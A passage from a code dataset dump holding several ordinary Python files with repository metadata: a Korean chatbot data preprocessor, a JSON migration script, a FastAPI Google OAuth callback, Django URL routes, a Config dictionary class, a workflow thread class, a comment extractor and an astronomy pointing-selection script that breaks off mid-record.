#마지막에 END xhzms\n else :\n sequence_index += [dictionary[END]]\n\n sequence_index += (MAX_SEQUNECE - len(sequence_index))*[dictionary[PAD]]\n sequences_target_index.append(sequence_index)\n\n return np.asarray(sequences_target_index)\n\nif __name__ == \"__main__\":\n PATH = 'data_in/ChatBotData.csv'\n VOCAB_PATH = 'data_in/vocabulary.txt'\n # 데이터 부르기\n inputs, outputs = load_data(PATH)\n # 단어 사전 부르기\n # 토크나이저를 사용하여 처리하도록 변경하기\n char2idx, idx2char, vocab_size = load_vocabulary(PATH,VOCAB_PATH)\n # print(char2idx)\n\n # encoder/decoder input /target\n index_inputs, input_seq_len = enc_processing(inputs, char2idx)\n index_outputs, output_seq_len = dec_output_processing(outputs, char2idx)\n index_targets = dec_target_processing(outputs, char2idx)\n\n data_configs = {}\n data_configs['char2idx'] =char2idx\n data_configs['idx2char'] = idx2char\n data_configs['vocab_size'] = vocab_size\n data_configs['pad_symbol'] = PAD\n data_configs['std_symbol'] = STD\n data_configs['end_symbol'] = END\n data_configs['unk_symbol'] = UNK\n\n DATA_IN_PATH = './data_in/'\n np.save(open(DATA_IN_PATH+'train_inputs.npy','wb'), index_inputs)\n np.save(open(DATA_IN_PATH+'train_outputs.npy','wb'), index_outputs)\n np.save(open(DATA_IN_PATH+'train_targets.npy','wb'), index_targets)\n\n json.dump(data_configs, open(DATA_IN_PATH+'data_configs.json','w'))\n\n# index_targets\n\n\n", "repo_name": "YongseonKim/Natural-Language-Processing", "sub_path": "03_Chatbot/preprocessing.py", "file_name": "preprocessing.py", "file_ext": "py", "file_size_in_byte": 6473, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "78", "api": [{"api_name": "re.compile", "line_number": 13, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 24, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 33, "usage_type": "call"}, {"api_name": "konlpy.tag.Okt", "line_number": 41, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path", "line_number": 52, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 55, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 115, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 136, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 153, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 180, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 182, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 184, "usage_type": "call"}]} {"seq_id": "32411994970", "text": "'''\nTakes the whole JSON app dump from the old civic_calendar.meeting model and \nrearranges the JSON to reflect the tables of the new civic_calendar2 \nschedule.event schema.\n'''\n\n# https://stackoverflow.com/questions/7127053/python-find-location-of-data-within-json-object-parse-the-corresponding-data\n\nimport json\nimport pprint\n\n# from django.utils.text import slugify\n\nwith open('civic_calendar.json', 'r') as f:\n meeting_data = json.load(f)\nwith open('schedule.json', 'r') as s:\n schedule_data = json.load(s)\n\nout_item_list = []\n\nfor item in schedule_data:\n # # Accessing python dict with multiple-key lookup string\n # # https://stackoverflow.com/questions/9320335/accessing-python-dict-with-multiple-key-lookup-string\n # key = \"fields.entity\"\n # foo = reduce(dict.get, key.split('.'), item)\n # print foo\n\n # First collect all the schedule.eventrelation entries ... \n if item[\"model\"] == \"schedule.eventrelation\":\n\n # from the eventrelation, get the ids of the the related schedule.event\n # and civic_calendar.meeting\n event_id = item[\"fields\"][\"event\"]\n meeting_id = item[\"fields\"][\"object_id\"]\n\n # munge through schedule_data (again) to get event\n my_events = [ my_event for my_event in schedule_data\n if my_event[\"model\"] == \"schedule.event\" \n and my_event[\"pk\"] == event_id ]\n '''\n my_events\n\n [{u'fields': {u'calendar': 2,\n u'color_event': None,\n u'created_on': u'2016-10-27T20:48:18.607Z',\n u'creator': 2,\n u'description': u'Public hearing on proposed 2017 budgets, revenue requirements and prices; Carmen-Smith settlement agreement; and avoided cost filing.',\n u'end': u'2016-11-01T19:29:00Z',\n u'end_recurring_period': None,\n u'rule': None,\n u'start': u'2016-11-01T17:30:00Z',\n u'title': u'Eugene Water & Electric Board meeting',\n u'updated_on': u'2016-10-27T20:51:12.529Z'},\n u'model': u'schedule.event',\n u'pk': 15}]\n '''\n\n meeting_fields = [ my_meeting[\"fields\"] for my_meeting in meeting_data \n if my_meeting[\"model\"] == \"civic_calendar.meeting\" \n and my_meeting[\"pk\"] == meeting_id ]\n '''\n meeting_fields\n\n [{u'agenda': u'Public hearing on proposed 2017 budgets, revenue requirements and prices; Carmen-Smith settlement agreement; and avoided cost filing.',\n u'contact_email': u'',\n u'contact_phone': u'541-685-7191',\n u'created': u'2016-10-27T20:48:18.595Z',\n u'entity': 1,\n u'location': 1,\n u'start': u'2016-11-01T17:30:00Z',\n u'website': u'www.eweb.org'}]\n '''\n\n my_events[0][\"fields\"][u\"entity\"] = meeting_fields[0][\"entity\"]\n my_events[0][\"fields\"][u\"location\"] = meeting_fields[0][\"location\"]\n my_events[0][\"fields\"][u\"agenda\"] = meeting_fields[0][\"agenda\"]\n my_events[0][\"fields\"][u\"contact_email\"] = meeting_fields[0][\"contact_email\"]\n my_events[0][\"fields\"][u\"contact_phone\"] = meeting_fields[0][\"contact_phone\"]\n my_events[0][\"fields\"][u\"created\"] = meeting_fields[0][\"created\"]\n my_events[0][\"fields\"][u\"website\"] = meeting_fields[0][\"website\"]\n my_events[0][\"fields\"][u\"color_event\"] = u\"\"\n\n # pprint.pprint(my_events)\n\n out_item_list.append(my_events[0])\n\n # for schedule_item in schedule_data:\n # if schedule_item[\"model\"] == \"schedule.eventrelation\" and \\\n # schedule_item[\"pk\"] == schedule_item[\"pk\"]:\n # my_event_id = schedule_item['fields']['event']\n # # pprint.pprint(schedule_item)\n\n # for schedule_item in schedule_data:\n # if schedule_item[\"model\"] == \"schedule.event\" and \\\n # schedule_item[\"pk\"] == my_event_id:\n # pprint.pprint(item)\n # pprint.pprint(schedule_item)\n # break\n\nwith open('munged_schedule_event.json', 'w') as out_file:\n json.dump(out_item_list, out_file, sort_keys=True, indent=2)\n\n", "repo_name": "registerguard/civic_calendar2", "sub_path": "scripts/json_transformer.py", "file_name": "json_transformer.py", "file_ext": "py", "file_size_in_byte": 4213, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "json.load", "line_number": 15, "usage_type": "call"}, {"api_name": "json.load", "line_number": 17, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 101, "usage_type": "call"}]} {"seq_id": "11426021768", "text": "from fastapi import APIRouter, Depends, Request\nfrom fastapi.responses import HTMLResponse\nfrom fastapi.templating import Jinja2Templates\nfrom sqlalchemy.orm import Session\nfrom starlette.templating import _TemplateResponse\n\nfrom moobot.db.crud.google import create_api_user, get_auth_session_by_state\nfrom moobot.db.session import get_session\nfrom moobot.util.google import fetch_credentials\n\nrouter = APIRouter(prefix=\"/google_oauth\")\ntemplates = Jinja2Templates(directory=\"templates\")\n\n\n@router.get(\"/auth\", response_class=HTMLResponse)\ndef handle_oauth_response(\n code: str | None,\n state: str,\n request: Request,\n session: Session = Depends(get_session),\n) -> _TemplateResponse:\n if code is None:\n return templates.TemplateResponse(\n \"google_oauth.html\",\n {\"request\": request, \"message\": \"❌ Missing authorization code! Please try again.\"},\n )\n\n auth_session = get_auth_session_by_state(session, state)\n if auth_session is None:\n return templates.TemplateResponse(\n \"google_oauth.html\",\n {\"request\": request, \"message\": \"❌ Invalid authorization state. Please try again.\"},\n )\n\n user_id = int(auth_session.user_id)\n session.delete(auth_session)\n\n credentials = fetch_credentials(code)\n create_api_user(\n session,\n user_id=user_id,\n token=credentials.token,\n refresh_token=credentials.refresh_token,\n token_uri=credentials.token_uri,\n scopes=credentials.scopes,\n commit=True,\n )\n\n return templates.TemplateResponse(\n \"google_oauth.html\", {\"request\": request, \"message\": \"✅ Success!\"}\n )\n", "repo_name": "stephanlensky/moobot", "sub_path": "moobot/fastapi/routers/google_oauth.py", "file_name": "google_oauth.py", "file_ext": "py", "file_size_in_byte": 1665, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "fastapi.APIRouter", "line_number": 11, "usage_type": "call"}, {"api_name": "fastapi.templating.Jinja2Templates", "line_number": 12, "usage_type": "call"}, {"api_name": "fastapi.Request", "line_number": 19, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.Session", "line_number": 20, "usage_type": "name"}, {"api_name": "fastapi.Depends", "line_number": 20, "usage_type": "call"}, {"api_name": "moobot.db.session.get_session", "line_number": 20, "usage_type": "argument"}, {"api_name": "moobot.db.crud.google.get_auth_session_by_state", "line_number": 28, "usage_type": "call"}, {"api_name": "moobot.util.google.fetch_credentials", "line_number": 38, "usage_type": "call"}, {"api_name": "moobot.db.crud.google.create_api_user", "line_number": 39, "usage_type": "call"}, {"api_name": "fastapi.responses.HTMLResponse", "line_number": 15, "usage_type": "name"}, {"api_name": "starlette.templating._TemplateResponse", "line_number": 21, "usage_type": "name"}]} {"seq_id": "70515840251", "text": "from django.urls import path, include\nfrom . import views\n\nurlpatterns = [\n path('', views.search),\n path('eznetoj/', views.ezsearch),\n path('jsBoj/', views.jsBsearch),\n path('dajoj/', views.dajsearch),\n path('EZB1/', views.ezb1),\n path('EZ1/', views.ez1),\n path('EZ2/', views.ez2),\n path('EZ3/', views.ez3),\n path('EZ4/', views.ez4),\n path('EZ5/', views.ez5),\n path('DAJL/', views.dongajangl),\n path('DAJR/', views.dongajangr),\n path('JB1/', views.jinsungb1),\n path('JB2/', views.jinsungb2),\n]\n", "repo_name": "bxbumsoo/companyapp", "sub_path": "companyapp/searchoj/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 537, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.urls.path", "line_number": 5, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 17, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 18, "usage_type": "call"}]} {"seq_id": "16467221722", "text": "\n\nfrom typing import Any\n\n\nclass Config(dict):\n r\"\"\"\n A dictionary subclass that converts a dictionary to an object.\n\n Parameters:\n ----------\n prefix: str, optional (default=\">>>\")\n The prefix for the string representation of the object.\n\n Examples:\n ---------\n >>> cfg = Config({1:2}, a=3)\n Traceback (most recent call last):\n ...\n TypeError: attribute name must be string, not 'int'\n >>> cfg = Config(a=1, b=2)\n >>> cfg.a\n 1\n >>> cfg['a']\n 1\n >>> cfg['c'] = 3\n >>> cfg.c\n 3\n >>> cfg.d = 4\n >>> cfg['d']\n Traceback (most recent call last):\n ...\n KeyError: 'd'\n >>> cfg.update(**Config({'a':4, 'd':5, 'e':6}))\n >>> cfg.a\n 4\n >>> cfg['d']\n Traceback (most recent call last):\n ...\n KeyError: 'd'\n >>> cfg.e\n Traceback (most recent call last):\n ...\n AttributeError: 'Config' object has no attribute 'e'\n \"\"\"\n def __init__(\n self, *args, \n prefix: str = \">>>\",\n **kwargs\n ):\n super(Config, self).__init__(*args, **kwargs)\n for name, attr in self.items():\n self.__setattr__(name, attr)\n \n self.prefix = prefix\n\n def __setattr__(self, name: str, value: Any) -> None:\n r\"\"\"\n Set an attribute and corresponding item in the dictionary.\n\n Parameters:\n -----------\n name : str\n The name of the attribute to be set.\n value : any\n The value to be set for the attribute.\n \"\"\"\n super(Config, self).__setattr__(name, value)\n if name in self:\n super(Config, self).__setitem__(name, value)\n\n def __setitem__(self, key: str, value: Any) -> None:\n r\"\"\"\n Set an item in the dictionary and corresponding attribute.\n\n Parameters:\n -----------\n key : str\n The key to be set in the dictionary.\n value : any\n The value to be set for the key in the dictionary.\n \"\"\"\n super(Config, self).__setitem__(key, value)\n super(Config, self).__setattr__(key, value)\n\n def update(self, **kwargs) -> None:\n r\"\"\"\n Update the dictionary with new keys and values.\n\n Parameters\n ----------\n kwargs : dict\n A dictionary of key-value pairs to update the object.\n \"\"\"\n for key, value in kwargs.items():\n if key in self.keys():\n self[key] = value\n\n def __str__(self) -> str:\n r\"\"\"\n Return a string representation of the object.\n\n Returns:\n --------\n str\n A string representation of the object.\n \"\"\"\n item = \"[{name}: {val}] \\n\"\n infos = f\"[{self.__class__.__name__.upper()}] \" + self.prefix + \"\\n\"\n for name, val in self.items():\n infos += item.format(name=name, val=val)\n return infos\n\n\nif __name__ == \"__main__\":\n import doctest\n doctest.testmod()\n\n\n\n\n\n\n\n\n\n\n\n", "repo_name": "MTandHJ/freerec", "sub_path": "freerec/dict2obj.py", "file_name": "dict2obj.py", "file_ext": "py", "file_size_in_byte": 2973, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "78", "api": [{"api_name": "typing.Any", "line_number": 57, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 72, "usage_type": "name"}, {"api_name": "doctest.testmod", "line_number": 117, "usage_type": "call"}]} {"seq_id": "40419325973", "text": "\"\"\"\nModule containing the ToolWrapperThread class.\n\"\"\"\nimport pathlib\nimport threading\nimport os\nimport traceback\n\nfrom wopmars.SQLManager import SQLManager\nfrom wopmars.Observable import Observable\nfrom wopmars.utils.Logger import Logger\nfrom wopmars.utils.OptionManager import OptionManager\nfrom wopmars.utils.WopMarsException import WopMarsException\nfrom wopmars.utils.various import get_current_time\n\n\nclass ToolWrapperThread(threading.Thread, Observable):\n \"\"\"\n The class ToolWrapperThread is a wrapper for executing toolwrappers.\n\n It has been designed in order to implement the multithreading, this is why it inherit from threading.Thread.\n \"\"\"\n\n def __init__(self, tool_wrapper):\n \"\"\"\n self.__dry = True means that the tool shouldn't be executed because its output already exist\n\n :return:\n \"\"\"\n threading.Thread.__init__(self)\n self.__set_observer = set([])\n # the wrapped tool_python_path\n self.__tool_wrapper = tool_wrapper\n #self.__dry is different than the --dry-run option because it says \"this has already been executed\" whereas\n # the --dry-run option means \"simulate the whole execution\"\n # self.__dry can be True even if the --dry-run mode is enabled: it means \"this tool has already its output, you\n # don't even need to simulate execution, just skip\"\n self.__dry = False\n\n def get_toolwrapper(self):\n return self.__tool_wrapper\n\n def set_dry(self, dry):\n self.__dry = dry\n\n def get_dry(self):\n return self.__dry\n\n def run(self):\n \"\"\"\n Run the tool and fire events.\n :return:\n \"\"\"\n\n wopmars_session = SQLManager.instance().get_session()\n time_unix_ms, time_human = get_current_time()\n start = time_human\n try:\n # self.__tool_wrapper.set_session(wopmars_session)\n self.__tool_wrapper.session = wopmars_session\n # if the tool need to be executed because its output doesn't exist\n if self.__dry: # tool_wrapper skipped\n Logger.instance().info(\"ToolWrapper skipped: {} -> {}\"\n .format(self.__tool_wrapper.rule_name, self.__tool_wrapper.__class__.__name__))\n # Logger.instance().info(\"ToolWrapper: \" + str(self.__tool_wrapper.rule_name) +\n # \" -> \" + self.__tool_wrapper.__class__.__name__ + \" skipped.\")\n self.__tool_wrapper.set_execution_infos(start, time_human, \"ALREADY_EXECUTED\")\n else:\n Logger.instance().info(\n \"\\n\" + str(self.__tool_wrapper) + \"\\n\" + \"command line: \\n\\t\" + self.get_command_line())\n # if you shouldn't simulate\n if OptionManager.instance()[\"--dry-run\"]: # dry run\n Logger.instance().debug(\"Dry-run mode enabled. Execution skipped.\")\n self.__tool_wrapper.set_execution_infos(status=\"DRY\")\n else: # normal execution\n # if OptionManager.instance()[\"--touch\"]: # dry run\n # Logger.instance().debug(\"Touch mode enabled.\")\n # self.__tool_wrapper.touch()\n Logger.instance().info(\"ToolWrapper: \" + str(self.__tool_wrapper.rule_name) + \" -> \"\n + self.__tool_wrapper.__class__.__name__ + \" started.\")\n output_file_fields = self.__tool_wrapper.specify_output_file()\n for out_field in output_file_fields:\n out_file_path = self.__tool_wrapper.output_file(out_field)\n out_dir = os.path.dirname(out_file_path)\n pathlib.Path(out_dir).mkdir(parents=True, exist_ok=True)\n\n ####################################################################################################\n #\n # Touch output files of tool wrapper\n #\n ####################################################################################################\n\n if OptionManager.instance()[\"--touch\"]: # Just touch\n self.__tool_wrapper.touch()\n\n ####################################################################################################\n #\n # Normal run of tool wrapper\n #\n ####################################################################################################\n\n else: # Run\n self.__tool_wrapper.run()\n wopmars_session.commit()\n time_unix_ms, time_human = get_current_time()\n self.__tool_wrapper.set_execution_infos(start, time_human, \"EXECUTED\")\n\n except Exception as e:\n wopmars_session.rollback()\n self.__tool_wrapper.set_execution_infos(start, time_human, \"ERROR\")\n raise WopMarsException(\"Error while executing rule \" + self.__tool_wrapper.rule_name +\n \" (ToolWrapper \" + self.__tool_wrapper.tool_python_path + \")\",\n \"Full stack trace: \\n\" + str(traceback.format_exc()))\n finally:\n # todo twthread , fermer session\n # session_tw.close()\n pass\n self.fire_success()\n\n def get_command_line(self):\n \"\"\"\n This create a string containing the command line for executing the tool_python_path only.\n\n :return: The string containg the command line\n \"\"\"\n list_str_inputs_files = [f.file_key + \"': '\" + f.path for f in self.__tool_wrapper.relation_toolwrapper_to_fileioinfo if f.relation_file_or_tableioinfo_to_typeio.is_input == 1]\n list_str_inputs_tables = [t.table_key + \"': '\" + t.model_py_path for t in self.__tool_wrapper.relation_toolwrapper_to_tableioinfo if t.relation_file_or_tableioinfo_to_typeio.is_input == 1]\n str_input_dict = \"\"\n str_input_dict_files = \"\"\n str_input_dict_tables = \"\"\n\n if list_str_inputs_files:\n str_input_dict_files = \"'file':{'\" + \"', '\".join(list_str_inputs_files) + \"'}\"\n if list_str_inputs_tables:\n str_input_dict_tables = \"'table':{'\" + \"', '\".join(list_str_inputs_tables) + \"'}\"\n if list_str_inputs_files or list_str_inputs_tables:\n str_input_dict = \" -i \\\"{%s}\\\"\" % (\", \".join([s for s in [str_input_dict_files, str_input_dict_tables] if s != \"\"]))\n\n list_str_outputs_files = [f.file_key + \"': '\" + f.path for f in self.__tool_wrapper.relation_toolwrapper_to_fileioinfo if f.relation_file_or_tableioinfo_to_typeio.is_input == 0]\n list_str_outputs_tables = [t.table_key + \"': '\" + t.model_py_path for t in self.__tool_wrapper.relation_toolwrapper_to_tableioinfo if t.relation_file_or_tableioinfo_to_typeio.is_input == 0]\n str_output_dict = \"\"\n str_output_dict_files = \"\"\n str_output_dict_tables = \"\"\n\n if list_str_outputs_files:\n str_output_dict_files = \"'file':{'\" + \"', '\".join(list_str_outputs_files) + \"'}\"\n if list_str_outputs_tables:\n str_output_dict_tables = \"'table':{'\" + \"', '\".join(list_str_outputs_tables) + \"'}\"\n if list_str_outputs_files or list_str_outputs_tables:\n str_output_dict = \" -o \\\"{%s}\\\"\" % (\", \".join([s for s in [str_output_dict_files, str_output_dict_tables] if s != \"\"]))\n\n list_str_params = []\n str_params_dict = \"\"\n\n if list_str_params:\n str_params_dict = \" -P \\\"{'\" + \"', '\".join(list_str_params) + \"'}\\\"\"\n\n consistent_keys = [\"--forceall\", \"--dot\", \"--log\", ]\n s = \"\"\n s += \"wopmars tool \" + self.__tool_wrapper.tool_python_path + str_input_dict + str_output_dict + str_params_dict + \" \" + \\\n \" \".join(str(key) + \" \" + str(OptionManager.instance()[key]) for key in OptionManager.instance().keys() if key in consistent_keys and OptionManager.instance()[key] is not None and type(OptionManager.instance()[key]) != bool) + \\\n \" \" + \" \".join(str(key) for key in OptionManager.instance().keys() if key in consistent_keys and OptionManager.instance()[key] is True and type(OptionManager.instance()[key]) == bool)\n\n return s\n\n def get_observers(self):\n \"\"\"\n Return the set of observers.\n\n :return: set observers\n \"\"\"\n return self.__set_observer\n\n def subscribe(self, obs):\n \"\"\"\n An observer subscribes to the obervable.\n\n :param obs:\n :return:\n \"\"\"\n self.__set_observer.add(obs)\n\n def fire_failure(self):\n \"\"\"\n Notify all ToolWrapperObservers that the execution has failed.\n\n :return:\n \"\"\"\n for obs in self.get_observers():\n obs.notify_failure(self)\n\n def fire_success(self):\n \"\"\"\n Notify all ToolWrapperObservers that the run has suceeded\n\n :return:\n \"\"\"\n for obs in self.get_observers():\n obs.notify_success(self)\n\n def __eq__(self, other):\n assert isinstance(other, self.__class__)\n return self.__tool_wrapper == other.get_toolwrapper()\n\n def __hash__(self):\n return id(self)\n", "repo_name": "aitgon/wopmars", "sub_path": "wopmars/ToolWrapperThread.py", "file_name": "ToolWrapperThread.py", "file_ext": "py", "file_size_in_byte": 9356, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "threading.Thread", "line_number": 17, "usage_type": "attribute"}, {"api_name": "wopmars.Observable.Observable", "line_number": 17, "usage_type": "name"}, {"api_name": "threading.Thread.__init__", "line_number": 30, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 30, "usage_type": "attribute"}, {"api_name": "wopmars.SQLManager.SQLManager.instance", "line_number": 55, "usage_type": "call"}, {"api_name": "wopmars.SQLManager.SQLManager", "line_number": 55, "usage_type": "name"}, {"api_name": "wopmars.utils.various.get_current_time", "line_number": 56, "usage_type": "call"}, {"api_name": "wopmars.utils.Logger.Logger.instance", "line_number": 63, "usage_type": "call"}, {"api_name": "wopmars.utils.Logger.Logger", "line_number": 63, "usage_type": "name"}, {"api_name": "wopmars.utils.Logger.Logger.instance", "line_number": 69, "usage_type": "call"}, {"api_name": "wopmars.utils.Logger.Logger", "line_number": 69, "usage_type": "name"}, {"api_name": "wopmars.utils.OptionManager.OptionManager.instance", "line_number": 72, "usage_type": "call"}, {"api_name": "wopmars.utils.OptionManager.OptionManager", "line_number": 72, "usage_type": "name"}, {"api_name": "wopmars.utils.Logger.Logger.instance", "line_number": 73, "usage_type": "call"}, {"api_name": "wopmars.utils.Logger.Logger", "line_number": 73, "usage_type": "name"}, {"api_name": "wopmars.utils.Logger.Logger.instance", "line_number": 79, "usage_type": "call"}, {"api_name": "wopmars.utils.Logger.Logger", "line_number": 79, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path", "line_number": 84, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 85, "usage_type": "call"}, {"api_name": "wopmars.utils.OptionManager.OptionManager.instance", "line_number": 93, "usage_type": "call"}, {"api_name": "wopmars.utils.OptionManager.OptionManager", "line_number": 93, "usage_type": "name"}, {"api_name": "wopmars.utils.various.get_current_time", "line_number": 105, "usage_type": "call"}, {"api_name": "wopmars.utils.WopMarsException.WopMarsException", "line_number": 111, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 113, "usage_type": "call"}, {"api_name": "wopmars.utils.OptionManager.OptionManager.instance", "line_number": 161, "usage_type": "call"}, {"api_name": "wopmars.utils.OptionManager.OptionManager", "line_number": 161, "usage_type": "name"}, {"api_name": "wopmars.utils.OptionManager.OptionManager.instance", "line_number": 162, "usage_type": "call"}, {"api_name": "wopmars.utils.OptionManager.OptionManager", "line_number": 162, "usage_type": "name"}]} {"seq_id": "7138032785", "text": "#!/usr/bin/env python3\n\nfrom pathlib import Path\nimport sys\n\n\ndef extract(filename):\n text = \"\"\n lines = Path(filename).read_text().splitlines()\n\n capture = False\n for line in lines:\n if line.strip() == '/**':\n capture = True\n continue\n if line.strip() == '*/':\n capture = False\n break\n if not capture:\n continue\n\n # If we get to this point, we're in the first doc comment.\n\n if line.strip() == '*':\n text += \"\\n\"\n continue\n\n if line[0] == ' ':\n line = line[1:]\n\n if line[0] == '*':\n line = line[1:]\n\n if line[0] == ' ':\n line = line[1:]\n\n text += line + \"\\n\"\n return text\n\n\nprint(extract(sys.argv[1]))\n", "repo_name": "duckinator/boreutils", "sub_path": "util/ccomex.py", "file_name": "ccomex.py", "file_ext": "py", "file_size_in_byte": 791, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pathlib.Path", "line_number": 9, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 41, "usage_type": "attribute"}]} {"seq_id": "28322710829", "text": "import os\nimport sqlite3\nimport numpy as np\nfrom lsst.sims.utils import htmModule as htm\n\nfname = 'minion_1016_desc_dithered_v4_sfd.db'\nassert os.path.isfile(fname)\n\nout_name = 'list_of_dc2_ddf_obsHistId.txt'\n\nddf_corners = {}\nddf_corners['ne'] = (53.764, -27.533)\nddf_corners['nw'] = (52.486, -27.533)\nddf_corners['se'] = (53.771, -28.667)\nddf_corners['sw'] = (52.479, -28.667)\n\nddf_center = (53.125, -28.100)\nra_rad = np.radians(ddf_center[0])\ndec_rad = np.radians(ddf_center[1])\nddf_center_cart = np.array([np.cos(dec_rad)*np.cos(ra_rad),\n np.cos(dec_rad)*np.sin(ra_rad),\n np.sin(dec_rad)])\n\nddf_corners_cart = {}\nfor name in ddf_corners:\n ra_rad = np.radians(ddf_corners[name][0])\n dec_rad = np.radians(ddf_corners[name][1])\n vv = np.array([np.cos(dec_rad)*np.cos(ra_rad),\n np.cos(dec_rad)*np.sin(ra_rad),\n np.sin(dec_rad)])\n ddf_corners_cart[name] = vv\n\nddf_edges = []\nddf_edges.append((ddf_corners_cart['nw'], ddf_corners_cart['ne']))\nddf_edges.append((ddf_corners_cart['nw'], ddf_corners_cart['sw']))\nddf_edges.append((ddf_corners_cart['ne'], ddf_corners_cart['se']))\nddf_edges.append((ddf_corners_cart['se'], ddf_corners_cart['sw']))\n\nddf_halfspaces = []\nddf_halfspaces.append(htm.halfSpaceFromRaDec(0.0, -90.0, 62.467))\nddf_halfspaces.append(htm.halfSpaceFromRaDec(0.0, 90.0, 118.667))\nddf_halfspaces.append(htm.halfSpaceFromPoints(ddf_corners['ne'],\n ddf_corners['se'],\n ddf_center))\nddf_halfspaces.append(htm.halfSpaceFromPoints(ddf_corners['nw'],\n ddf_corners['sw'],\n ddf_center))\n\nwith open(out_name, 'w') as out_file:\n with sqlite3.connect(fname) as connection:\n c = connection.cursor()\n query = \"SELECT obsHistID, descDitheredRA, descDitheredDec \"\n query += \"FROM Summary GROUP BY obsHistID ORDER BY obsHistID\"\n results = c.execute(query).fetchall()\n\n ct_in = 0\n for i_ptng, ptng in enumerate(results):\n if i_ptng>0 and i_ptng%10000==0:\n print('done %d; inside %d' % (i_ptng, ct_in))\n obs_id = int(ptng[0])\n ra = float(ptng[1])\n dec = float(ptng[2])\n if np.abs(ra)>10.0 or np.abs(dec)>10.0:\n raise RuntimeError(\"I think these are in degrees\")\n\n vv = np.array([np.cos(dec)*np.cos(ra),\n np.cos(dec)*np.sin(ra),\n np.sin(dec)])\n ra = np.degrees(ra)\n dec = np.degrees(dec)\n\n # check if center of pointing is in the DDF\n overlaps = True\n for hs in ddf_halfspaces:\n if not hs.contains_pt(vv):\n overlaps = False\n break\n\n if not overlaps:\n ptng_hs = htm.halfSpaceFromRaDec(ra, dec, 2.1)\n\n # see if center of ddf is in the pointing\n if ptng_hs.contains_pt(ddf_center_cart):\n overlaps = True\n\n # see if pointing HalfSpace contains one of the DDF corners\n if not overlaps:\n for name in ddf_corners_cart:\n if ptng_hs.contains_pt(ddf_corners_cart[name]):\n overlaps = True\n break\n\n # see if pointing HalfSpace intersects an edge\n # of the ddf\n if not overlaps:\n for edge in ddf_edges:\n if ptng_hs.intersects_edge(edge[0], edge[1]):\n overlaps = True\n break\n\n if overlaps:\n out_file.write('%d\\n' % obs_id)\n ct_in += 1\n", "repo_name": "LSSTDESC/sims_GCRCatSimInterface", "sub_path": "workspace/run2.1/get_dc2_ddf_ptngs.py", "file_name": "get_dc2_ddf_ptngs.py", "file_ext": "py", "file_size_in_byte": 3716, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.isfile", "line_number": 7, "usage_type": "call"}, {"api_name": "os.path", "line_number": 7, "usage_type": "attribute"}, {"api_name": "numpy.radians", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.radians", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.radians", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.radians", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 30, "usage_type": "call"}, {"api_name": 